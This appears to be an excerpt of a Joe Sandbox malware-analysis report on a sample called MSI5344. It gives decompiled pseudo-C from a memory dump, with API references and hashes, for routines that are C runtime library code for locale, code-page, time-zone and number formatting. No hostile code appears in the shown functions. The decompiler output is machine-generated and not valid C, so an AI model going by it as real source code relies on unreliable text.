				if (E00007FF77FF7AF724B54(0x1002, E00007FF77FF7AF724B54(0x1001, E00007FF77FF7AF729648(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122), _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0xaf72b891;
				E00007FF77FF7AF70AA98(0x5f, _t122 + 0x80, _t138);
				if (_t90 != 0) goto 0xaf72b82f;
				_t19 = _t90 + 0x2e; // 0x2e
				E00007FF77FF7AF70AA98(_t19, _t122 + 0x80, _t138);
				if (_t90 == 0) goto 0xaf72b848;
				r9d = 0x40;
				_t20 = _t138 - 0x39; // 0x7
				if (E00007FF77FF7AF724B54(_t20, _t90, _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0xaf72b891;
				if (_t49 != 0xfde9) goto 0xaf72b876;
				r9d = 5;
				if (E00007FF77FF7AF729648(_t122 + 0x100, _t93, _t122 + 0x100, _t93, _t119, L"utf8", _t138) != 0) goto 0xaf72b8b2;
				goto 0xaf72b88a;
				r9d = 0xa;
				_t23 = _t138 + 6; // 0x46
				r8d = _t23;
				E00007FF77FF7AF717BAC(_t49);
				goto 0xaf72b893;
				return 0;
			}

0x7ff7af72b664
0x7ff7af72b664
0x7ff7af72b664
0x7ff7af72b667
0x7ff7af72b66b
0x7ff7af72b66f
0x7ff7af72b673
0x7ff7af72b681
0x7ff7af72b684
0x7ff7af72b687
0x7ff7af72b68a
0x7ff7af72b68f
0x7ff7af72b695
0x7ff7af72b695
0x7ff7af72b69c
0x7ff7af72b6a3
0x7ff7af72b6a7
0x7ff7af72b6a7
0x7ff7af72b6ae
0x7ff7af72b6b1
0x7ff7af72b6b1
0x7ff7af72b6b5
0x7ff7af72b6b9
0x7ff7af72b6c0
0x7ff7af72b6c5
0x7ff7af72b6d1
0x7ff7af72b6e0
0x7ff7af72b6e9
0x7ff7af72b6eb
0x7ff7af72b6f0
0x7ff7af72b6f2
0x7ff7af72b6fb
0x7ff7af72b713
0x7ff7af72b715
0x7ff7af72b71f
0x7ff7af72b721
0x7ff7af72b726
0x7ff7af72b728
0x7ff7af72b72d
0x7ff7af72b72f
0x7ff7af72b738
0x7ff7af72b749
0x7ff7af72b74f
0x7ff7af72b751
0x7ff7af72b757
0x7ff7af72b75c
0x7ff7af72b761
0x7ff7af72b765
0x7ff7af72b770
0x7ff7af72b781
0x7ff7af72b78a
0x7ff7af72b78c
0x7ff7af72b792
0x7ff7af72b798
0x7ff7af72b7a3
0x7ff7af72b7a7
0x7ff7af72b7af
0x7ff7af72b7b1
0x7ff7af72b7c6
0x7ff7af72b7cc
0x7ff7af72b7cc
0x7ff7af72b7e2
0x7ff7af72b7ef
0x7ff7af72b807
0x7ff7af72b815
0x7ff7af72b81d
0x7ff7af72b81f
0x7ff7af72b825
0x7ff7af72b82d
0x7ff7af72b82f
0x7ff7af72b83b
0x7ff7af72b846
0x7ff7af72b855
0x7ff7af72b857
0x7ff7af72b872
0x7ff7af72b874
0x7ff7af72b876
0x7ff7af72b881
0x7ff7af72b881
0x7ff7af72b885
0x7ff7af72b88f
0x7ff7af72b8b1

APIs

Part of subcall function 00007FF7AF72257C: GetLastError.KERNEL32 ref: 00007FF7AF72258B
Part of subcall function 00007FF7AF72257C: FlsGetValue.KERNEL32 ref: 00007FF7AF7225A0
Part of subcall function 00007FF7AF72257C: SetLastError.KERNEL32 ref: 00007FF7AF72262B

TranslateName.LIBCMT ref: 00007FF7AF72B6D1
TranslateName.LIBCMT ref: 00007FF7AF72B70C
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF7AF720F6C), ref: 00007FF7AF72B751
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF7AF720F6C), ref: 00007FF7AF72B779

Strings

utf8, xrefs: 00007FF7AF72B85D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: 6b2a1ae080c33ca13728e3f04f4f0b9fecbee072ee6c852ae3437aefd3a11ec5
Instruction ID: 0eaff002f97c36a1e64cc5ed6046d827ec8f5fa3884ce4cfb5d8c944de61a870
Opcode Fuzzy Hash: 6b2a1ae080c33ca13728e3f04f4f0b9fecbee072ee6c852ae3437aefd3a11ec5
Instruction Fuzzy Hash: 56917A3AA0A7C286EB25BF25D8102F9A3A5EB4CB80FC64131DA4C477A5DF3CE555C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72C098 Relevance: 10.7, APIs: 7, Instructions: 172
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF7AF72C098(void* __ecx, void* __edx, long long __rcx, intOrPtr* __rdx, void* __r8, void* __r9, void* __r10) {
				signed int _v72;
				int _v80;
				int _v84;
				signed int _v88;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				int _t60;
				intOrPtr _t61;
				void* _t73;
				intOrPtr _t82;
				intOrPtr _t84;
				void* _t90;
				signed long long _t116;
				signed long long _t117;
				intOrPtr* _t118;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t121;
				intOrPtr* _t122;
				void* _t125;
				intOrPtr* _t126;
				signed long long _t134;
				signed long long _t136;
				void* _t147;
				void* _t148;
				signed long long _t149;
				void* _t151;
				void* _t159;
				long long _t161;
				intOrPtr* _t163;

				_t159 = __r9;
				_t141 = __rdx;
				_t127 = __rcx;
				_t73 = __ecx;
				_t116 =  *0xaf751030; // 0xa13e9e6732fb
				_t117 = _t116 ^ _t151 - 0x00000040;
				_v72 = _t117;
				_t147 = __r8;
				_t163 = __rdx;
				_t161 = __rcx;
				E00007FF77FF7AF72257C(_t117, _t125, __rcx, __rdx, _t148, __r9);
				_t149 = _t117;
				_v88 = _t117;
				_v80 = 0;
				E00007FF77FF7AF72257C(_t117, _t125, _t127, __rdx, _t149, __r9);
				r12d = 0;
				_t5 = _t149 + 0xa0; // 0xa0
				_t126 = _t5;
				 *((long long*)(_t117 + 0x3a0)) =  &_v88;
				_t118 = _t161 + 0x80;
				 *((long long*)(_t149 + 0x98)) = _t161;
				 *_t126 = _t118;
				if (_t118 == 0) goto 0xaf72c11f;
				if ( *_t118 == r12w) goto 0xaf72c11f;
				_t82 =  *0xaf73fa30; // 0x17
				E00007FF77FF7AF72C018(_t82 - 1, _t126, 0xaf73f8c0, _t149, _t151, _t126);
				_v88 = r12d;
				_t119 =  *((intOrPtr*)(_t149 + 0x98));
				if (_t119 == 0) goto 0xaf72c1a8;
				if ( *_t119 == r12w) goto 0xaf72c1a8;
				_t120 =  *_t126;
				if (_t120 == 0) goto 0xaf72c14e;
				if ( *_t120 == r12w) goto 0xaf72c14e;
				E00007FF77FF7AF72B9B0(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126, __r9);
				goto 0xaf72c157;
				E00007FF77FF7AF72BA80(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126);
				if (_v88 != r12d) goto 0xaf72c21e;
				_t84 =  *0xaf73f8b0; // 0x41
				_t14 = _t149 + 0x98; // 0x98
				if (E00007FF77FF7AF72C018(_t84 - 1, _t126, 0xaf73f4a0, _t149, _t151, _t14) == 0) goto 0xaf72c214;
				_t121 =  *_t126;
				if (_t121 == 0) goto 0xaf72c19d;
				if ( *_t121 == r12w) goto 0xaf72c19d;
				E00007FF77FF7AF72B9B0(_t73, _t84 - 1, _t121, _t126,  &_v88, _t141, _t14, __r9);
				goto 0xaf72c214;
				_t134 =  &_v88;
				E00007FF77FF7AF72BA80(_t73, _t84 - 1, _t121, _t126, _t134, _t141, _t14);
				goto 0xaf72c214;
				_t122 =  *_t126;
				if (_t122 == 0) goto 0xaf72c201;
				if ( *_t122 == r12w) goto 0xaf72c201;
				E00007FF77FF7AF72257C(_t122, _t126, _t134, _t141, _t149, __r9);
				_t136 = (_t134 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t122 + 0xa0)) + _t136 * 2)) != r12w) goto 0xaf72c1c9;
				 *(_t122 + 0xb4) = r12d & 0xffffff00 | _t136 == 0x00000003;
				EnumSystemLocalesW(??, ??);
				if ((_v88 & 0x00000004) != 0) goto 0xaf72c214;
				_v88 = r12d;
				goto 0xaf72c214;
				_v88 = 0x104;
				_t60 = GetUserDefaultLCID();
				_v80 = _t60;
				_v84 = _t60;
				if (_v88 == r12d) goto 0xaf72c2f9;
				asm("dec eax");
				_t61 = E00007FF77FF7AF72BEBC(_t126, 0x7ff7af72b8c8 & _t161 + 0x00000100,  &_v88, _t149);
				if (_t61 == 0) goto 0xaf72c2f9;
				if (IsValidCodePage(??) == 0) goto 0xaf72c2f9;
				if (IsValidLocale(??, ??) == 0) goto 0xaf72c2f9;
				if (_t163 == 0) goto 0xaf72c270;
				 *_t163 = _t61;
				_t36 = _t149 + 0x2f0; // 0x2f0
				r9d = 0;
				_t37 = _t159 + 0x55; // 0x55
				_t90 = _t37;
				r8d = _t90;
				E00007FF77FF7AF724DD8(_v84, _t163, _t161 + 0x100, _t126, _t36, _t149, _t151);
				if (_t147 == 0) goto 0xaf72c2f2;
				r9d = 0;
				r8d = _t90;
				E00007FF77FF7AF724DD8(_v84, _t147, _t161 + 0x100, _t126, _t147 + 0x120, _t149, _t151);
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xaf72c2f9;
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xaf72c2f9;
				_t44 = _t149 - 0x36; // 0xa
				r9d = _t44;
				_t45 = _t149 - 0x30; // 0x10
				r8d = _t45;
				E00007FF77FF7AF717BAC(_t61);
				goto 0xaf72c2fb;
				return E00007FF77FF7AF708B70(0, _t61, _v72 ^ _t151 - 0x00000040);
			}

0x7ff7af72c098
0x7ff7af72c098
0x7ff7af72c098
0x7ff7af72c098
0x7ff7af72c0aa
0x7ff7af72c0b1
0x7ff7af72c0b4
0x7ff7af72c0b8
0x7ff7af72c0bb
0x7ff7af72c0be
0x7ff7af72c0c1
0x7ff7af72c0c6
0x7ff7af72c0cb
0x7ff7af72c0cf
0x7ff7af72c0d2
0x7ff7af72c0db
0x7ff7af72c0de
0x7ff7af72c0de
0x7ff7af72c0e5
0x7ff7af72c0ec
0x7ff7af72c0f3
0x7ff7af72c0fa
0x7ff7af72c100
0x7ff7af72c106
0x7ff7af72c108
0x7ff7af72c11a
0x7ff7af72c11f
0x7ff7af72c123
0x7ff7af72c12d
0x7ff7af72c133
0x7ff7af72c135
0x7ff7af72c13b
0x7ff7af72c141
0x7ff7af72c147
0x7ff7af72c14c
0x7ff7af72c152
0x7ff7af72c15b
0x7ff7af72c161
0x7ff7af72c167
0x7ff7af72c17e
0x7ff7af72c184
0x7ff7af72c18a
0x7ff7af72c190
0x7ff7af72c196
0x7ff7af72c19b
0x7ff7af72c19d
0x7ff7af72c1a1
0x7ff7af72c1a6
0x7ff7af72c1a8
0x7ff7af72c1ae
0x7ff7af72c1b4
0x7ff7af72c1b6
0x7ff7af72c1c9
0x7ff7af72c1d1
0x7ff7af72c1e4
0x7ff7af72c1ef
0x7ff7af72c1f9
0x7ff7af72c1fb
0x7ff7af72c1ff
0x7ff7af72c201
0x7ff7af72c208
0x7ff7af72c20e
0x7ff7af72c211
0x7ff7af72c218
0x7ff7af72c22c
0x7ff7af72c232
0x7ff7af72c23b
0x7ff7af72c24c
0x7ff7af72c262
0x7ff7af72c26b
0x7ff7af72c26d
0x7ff7af72c273
0x7ff7af72c27a
0x7ff7af72c27d
0x7ff7af72c27d
0x7ff7af72c281
0x7ff7af72c284
0x7ff7af72c28c
0x7ff7af72c298
0x7ff7af72c29b
0x7ff7af72c29e
0x7ff7af72c2ab
0x7ff7af72c2be
0x7ff7af72c2ca
0x7ff7af72c2da
0x7ff7af72c2e5
0x7ff7af72c2e5
0x7ff7af72c2e9
0x7ff7af72c2e9
0x7ff7af72c2ed
0x7ff7af72c2f7
0x7ff7af72c315

APIs

Part of subcall function 00007FF7AF72257C: GetLastError.KERNEL32 ref: 00007FF7AF72258B
Part of subcall function 00007FF7AF72257C: FlsGetValue.KERNEL32 ref: 00007FF7AF7225A0
Part of subcall function 00007FF7AF72257C: SetLastError.KERNEL32 ref: 00007FF7AF72262B

Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF7225C1
Part of subcall function 00007FF7AF72257C: FlsGetValue.KERNEL32 ref: 00007FF7AF722661

GetUserDefaultLCID.KERNEL32(00000000,00000092,?,?), ref: 00007FF7AF72C208

Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF7225EE
Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF7225FF
Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF722610
Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF722680
Part of subcall function 00007FF7AF72257C: FlsSetValue.KERNEL32 ref: 00007FF7AF7226A8

EnumSystemLocalesW.KERNEL32(00000000,00000092,?,?,00000000,?,?,00007FF7AF720F65), ref: 00007FF7AF72C1EF
ProcessCodePage.LIBCMT ref: 00007FF7AF72C232
IsValidCodePage.KERNEL32 ref: 00007FF7AF72C244
IsValidLocale.KERNEL32 ref: 00007FF7AF72C25A
GetLocaleInfoW.KERNEL32 ref: 00007FF7AF72C2B6
GetLocaleInfoW.KERNEL32 ref: 00007FF7AF72C2D2

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: d05c2a8b0d292a56b7c4e5f6df30458b8fe8732603f5ff79a6061c3bb360ffc2
Instruction ID: 34de7dcd40dbd012815981864c9552f0bf8c355140ba4e5733adc8f44088d32e
Opcode Fuzzy Hash: d05c2a8b0d292a56b7c4e5f6df30458b8fe8732603f5ff79a6061c3bb360ffc2
Instruction Fuzzy Hash: 9E719C6AB0A68289FB15BBA4DC016F8A3A0FF1C794FC64135CA4D137A5DF3CA445C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF725388 Relevance: 9.3, APIs: 6, Instructions: 334
timeCOMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF725388(void* __eflags, void* __rax, signed short* __rcx, char _a16, char _a24) {
				void* _t10;
				intOrPtr _t23;
				void* _t29;
				signed short* _t31;
				intOrPtr _t36;
				signed long long _t42;

				_t29 = __rax;
				E00007FF77FF7AF72520C(E00007FF77FF7AF725204(_t10));
				r12d = 0;
				_a16 = r12d;
				_a24 = r12d;
				if (E00007FF77FF7AF725274(_t29,  &_a16) != 0) goto 0xaf7255ed;
				if (E00007FF77FF7AF725214(_t29,  &_a24) != 0) goto 0xaf7255ed;
				_t36 =  *0xaf7544c8; // 0x0
				_t23 = _t36;
				if (_t23 == 0) goto 0xaf725406;
				r8d =  *(__rcx + _t36 - __rcx) & 0x0000ffff;
				if (_t23 != 0) goto 0xaf725402;
				_t31 =  &(__rcx[1]);
				if (r8d != 0) goto 0xaf7253ec;
				if (( *__rcx & 0x0000ffff) - r8d == 0) goto 0xaf725433;
				_t39 = (_t42 | 0xffffffff) + 1;
				if (__rcx[(_t42 | 0xffffffff) + 1] != r12w) goto 0xaf72540d;
				E00007FF77FF7AF722DD8(_t31, 2 + _t39 * 2);
				if (_t31 != 0) goto 0xaf725442;
				return E00007FF77FF7AF722110(_t31, 2 + _t39 * 2);
			}

0x7ff7af725388
0x7ff7af7253a5
0x7ff7af7253aa
0x7ff7af7253b1
0x7ff7af7253b8
0x7ff7af7253c3
0x7ff7af7253d4
0x7ff7af7253da
0x7ff7af7253e1
0x7ff7af7253e4
0x7ff7af7253ef
0x7ff7af7253f7
0x7ff7af7253f9
0x7ff7af725400
0x7ff7af725404
0x7ff7af72540d
0x7ff7af725415
0x7ff7af72541f
0x7ff7af72542a
0x7ff7af725441

APIs

_get_daylight.LIBCMT ref: 00007FF7AF7253CD

Part of subcall function 00007FF7AF725214: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF725228

Part of subcall function 00007FF7AF722110: HeapFree.KERNEL32 ref: 00007FF7AF722126
Part of subcall function 00007FF7AF722110: GetLastError.KERNEL32 ref: 00007FF7AF722130

Part of subcall function 00007FF7AF70F714: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7AF70F6C2,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF70F71D
Part of subcall function 00007FF7AF70F714: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7AF70F6C2,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF70F742

Part of subcall function 00007FF7AF72E0DC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF72E027

_get_daylight.LIBCMT ref: 00007FF7AF7253BC

Part of subcall function 00007FF7AF725274: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF725288

_get_daylight.LIBCMT ref: 00007FF7AF725632
_get_daylight.LIBCMT ref: 00007FF7AF725643
_get_daylight.LIBCMT ref: 00007FF7AF725654
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7AF725894), ref: 00007FF7AF72567B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: fa0a4f7a14e3113010ceae0542854d2c656427e8274f6e854f88b20cbd4fc489
Instruction ID: b4e7cab0da809fac5a23fdf9daac4550ef21242e7918adc5ff8b26d251594256
Opcode Fuzzy Hash: fa0a4f7a14e3113010ceae0542854d2c656427e8274f6e854f88b20cbd4fc489
Instruction Fuzzy Hash: F7D1A06AA0A2D286E720FF26DC501F9A352EF4C794FC64135DA0D476A6DF3CE441C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DCA70 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 501
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7AF6DCA70(void* __edx, void* __esi, long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r13;
				void* __r15;
				signed int _t73;
				long long _t94;
				void* _t97;
				void* _t98;
				signed int _t106;
				void* _t114;
				void* _t115;
				intOrPtr _t117;
				void* _t119;
				signed long long _t138;
				signed long long _t139;
				void* _t144;
				intOrPtr _t147;
				long long _t159;
				intOrPtr _t166;
				intOrPtr _t167;
				intOrPtr _t172;
				char* _t175;
				short* _t176;
				long long _t181;
				long long _t183;
				void* _t190;
				void* _t192;
				signed long long _t193;
				void* _t203;
				void* _t206;
				void* _t209;
				void* _t210;
				void* _t212;
				void* _t213;

				_t114 = __esi;
				 *((long long*)(_t192 + 8)) = __rbx;
				_push(_t181);
				_t190 = _t192 - 0x17;
				_t193 = _t192 - 0xa0;
				asm("movaps [esp+0x90], xmm6");
				_t138 =  *0xaf751030; // 0xa13e9e6732fb
				_t139 = _t138 ^ _t193;
				 *(_t190 - 1) = _t139;
				_t210 = __r9;
				_t213 = __rdx;
				 *((long long*)(_t190 - 0x29)) = _t181;
				 *((long long*)(_t190 - 0x19)) = _t181;
				 *((long long*)(_t190 - 0x11)) = _t181;
				 *((long long*)(_t190 - 0x19)) = _t181;
				 *((long long*)(_t190 - 0x11)) = 0xf;
				 *((intOrPtr*)(_t190 - 0x29)) = dil;
				_t73 =  *(__r9 + 0x18) & 0x00003000;
				asm("movsd xmm6, [ebp+0x7f]");
				if (_t73 != 0x3000) goto 0xaf6dcaea;
				goto 0xaf6dcb59;
				_t117 =  *((intOrPtr*)(__r9 + 0x20));
				if (_t117 <= 0) goto 0xaf6dcaf7;
				goto 0xaf6dcb0b;
				if (_t117 != 0) goto 0xaf6dcb06;
				if (_t73 != 0) goto 0xaf6dcb02;
				goto 0xaf6dcb59;
				goto 0xaf6dcb0b;
				_t119 = _t73 - 0x2000;
				if (_t119 != 0) goto 0xaf6dcb59;
				asm("movaps xmm0, xmm6");
				asm("andps xmm0, [0x6aa41]");
				asm("comisd xmm0, [0x6aa21]");
				if (_t119 <= 0) goto 0xaf6dcb59;
				asm("movaps xmm0, xmm6");
				E00007FF77FF7AF71B0D0(6, _t190 - 0x45,  *((intOrPtr*)(__r9 + 0x20)));
				asm("cdq");
				_t159 = 6 + _t139 + 0x32;
				_t172 =  *((intOrPtr*)(_t190 - 0x19));
				if (_t159 - _t172 > 0) goto 0xaf6dcb7e;
				_t141 =  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29;
				 *((long long*)(_t190 - 0x19)) = _t159;
				 *((char*)(( >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29) + _t159)) = 0;
				goto 0xaf6dcbd5;
				_t183 = _t159 - _t172;
				if (_t183 -  *((intOrPtr*)(_t190 - 0x11)) - _t172 > 0) goto 0xaf6dcbba;
				 *((long long*)(_t190 - 0x19)) = _t159;
				_t155 =  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29;
				_t156 = ( >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29) + _t172;
				E00007FF77FF7AF70ABF0();
				 *((char*)(( >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29) + _t172 + _t183)) = 0;
				goto 0xaf6dcbd3;
				 *((char*)(_t193 + 0x20)) = 0;
				r8d =  *(_t190 - 0x49) & 0x000000ff;
				E00007FF77FF7AF6DEDD0(_t190 - 0x29, _t183, _t183, _t190, _t183, __r8, _t213, _t212, _t209);
				r8d =  *(__r9 + 0x18);
				 *((char*)(_t190 - 9)) = 0x25;
				asm("inc ecx");
				_t86 =  <  ? 0x2b :  *(_t190 - 8) & 0x000000ff;
				 *(_t190 - 8) =  <  ? 0x2b :  *(_t190 - 8) & 0x000000ff;
				_t144 = _t190 - 7;
				_t175 =  <  ? _t144 : _t190 - 8;
				if ((r8b & 0x00000010) == 0) goto 0xaf6dcc09;
				 *_t175 = 0x23;
				_t176 = _t175 + 1;
				 *_t176 = 0x2a2e;
				 *((char*)(_t176 + 2)) = 0x4c;
				_t106 = r8d & 0x00003000;
				if ((r8b & 0x00000004) == 0) goto 0xaf6dcc44;
				if (_t106 != 0x2000) goto 0xaf6dcc2d;
				goto 0xaf6dcc71;
				if (_t106 != 0x3000) goto 0xaf6dcc39;
				goto 0xaf6dcc71;
				_t47 = _t144 - 2; // 0x45
				r8d = _t47;
				goto 0xaf6dcc67;
				if (_t106 != 0x2000) goto 0xaf6dcc50;
				goto 0xaf6dcc71;
				if (_t106 != 0x3000) goto 0xaf6dcc5c;
				goto 0xaf6dcc71;
				r8d = 0x65;
				_t93 =  ==  ? r8d : 0x67;
				 *((char*)(_t176 + 3)) =  ==  ? r8d : 0x67;
				 *((char*)(_t176 + 4)) = 0;
				_t163 =  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29;
				asm("movsd [esp+0x20], xmm6");
				r9d = _t114;
				_t94 = E00007FF77FF7AF6DF8E0(_t144,  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29,  *((intOrPtr*)(_t190 - 0x19)), _t190 - 9, _t183, _t206);
				_t146 =  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29;
				asm("inc ecx");
				asm("movaps [ebp-0x39], xmm0");
				 *((long long*)(_t193 + 0x30)) = _t94;
				 *((long long*)(_t193 + 0x28)) =  >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29;
				 *((short*)(_t193 + 0x20)) =  *(_t190 + 0x77) & 0x0000ffff;
				E00007FF77FF7AF6DE1C0(_t139 + 1, _t106, 0x2b, 0, _t115, ( >=  ?  *((void*)(_t190 - 0x29)) : _t190 - 0x29) + _t172, _t213, _t190 - 0x39, _t210);
				_t147 =  *((intOrPtr*)(_t190 - 0x11));
				if (_t147 - 0x10 < 0) goto 0xaf6dcd14;
				_t166 =  *((intOrPtr*)(_t190 - 0x29));
				if (_t147 + 1 - 0x1000 < 0) goto 0xaf6dcd09;
				_t167 =  *((intOrPtr*)(_t166 - 8));
				if (_t166 - _t167 - 8 - 0x1f > 0) goto 0xaf6dcd56;
				if (_t167 == 0) goto 0xaf6dcd14;
				_t97 = LocalFree(_t203);
				 *((long long*)(_t190 - 0x19)) = _t183;
				 *((long long*)(_t190 - 0x11)) = 0xf;
				 *((char*)(_t190 - 0x29)) = 0;
				_t98 = E00007FF77FF7AF708B70(_t97, _t106,  *(_t190 - 1) ^ _t193);
				asm("movaps xmm6, [esp+0x90]");
				return _t98;
			}

0x7ff7af6dca70
0x7ff7af6dca70
0x7ff7af6dca77
0x7ff7af6dca80
0x7ff7af6dca85
0x7ff7af6dca8c
0x7ff7af6dca94
0x7ff7af6dca9b
0x7ff7af6dca9e
0x7ff7af6dcaa2
0x7ff7af6dcaa8
0x7ff7af6dcab0
0x7ff7af6dcab4
0x7ff7af6dcab8
0x7ff7af6dcabc
0x7ff7af6dcac0
0x7ff7af6dcac8
0x7ff7af6dcad0
0x7ff7af6dcad5
0x7ff7af6dcadf
0x7ff7af6dcae8
0x7ff7af6dcaee
0x7ff7af6dcaf1
0x7ff7af6dcaf5
0x7ff7af6dcaf7
0x7ff7af6dcafb
0x7ff7af6dcb00
0x7ff7af6dcb04
0x7ff7af6dcb0e
0x7ff7af6dcb13
0x7ff7af6dcb15
0x7ff7af6dcb18
0x7ff7af6dcb1f
0x7ff7af6dcb27
0x7ff7af6dcb2d
0x7ff7af6dcb30
0x7ff7af6dcb38
0x7ff7af6dcb59
0x7ff7af6dcb5d
0x7ff7af6dcb64
0x7ff7af6dcb6f
0x7ff7af6dcb74
0x7ff7af6dcb78
0x7ff7af6dcb7c
0x7ff7af6dcb81
0x7ff7af6dcb91
0x7ff7af6dcb93
0x7ff7af6dcb9f
0x7ff7af6dcba4
0x7ff7af6dcbaf
0x7ff7af6dcbb4
0x7ff7af6dcbb8
0x7ff7af6dcbba
0x7ff7af6dcbc2
0x7ff7af6dcbce
0x7ff7af6dcbd5
0x7ff7af6dcbd9
0x7ff7af6dcbdd
0x7ff7af6dcbeb
0x7ff7af6dcbee
0x7ff7af6dcbf5
0x7ff7af6dcbf9
0x7ff7af6dcc01
0x7ff7af6dcc03
0x7ff7af6dcc06
0x7ff7af6dcc09
0x7ff7af6dcc0e
0x7ff7af6dcc15
0x7ff7af6dcc1f
0x7ff7af6dcc27
0x7ff7af6dcc2b
0x7ff7af6dcc33
0x7ff7af6dcc37
0x7ff7af6dcc3e
0x7ff7af6dcc3e
0x7ff7af6dcc42
0x7ff7af6dcc4a
0x7ff7af6dcc4e
0x7ff7af6dcc56
0x7ff7af6dcc5a
0x7ff7af6dcc61
0x7ff7af6dcc6d
0x7ff7af6dcc71
0x7ff7af6dcc74
0x7ff7af6dcc81
0x7ff7af6dcc86
0x7ff7af6dcc8c
0x7ff7af6dcc97
0x7ff7af6dcca8
0x7ff7af6dccad
0x7ff7af6dccb2
0x7ff7af6dccb6
0x7ff7af6dccbb
0x7ff7af6dccc4
0x7ff7af6dccd6
0x7ff7af6dccdc
0x7ff7af6dcce4
0x7ff7af6dcce9
0x7ff7af6dccf6
0x7ff7af6dccf8
0x7ff7af6dcd07
0x7ff7af6dcd0c
0x7ff7af6dcd0e
0x7ff7af6dcd14
0x7ff7af6dcd18
0x7ff7af6dcd20
0x7ff7af6dcd2e
0x7ff7af6dcd3b
0x7ff7af6dcd55

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6DCD0E
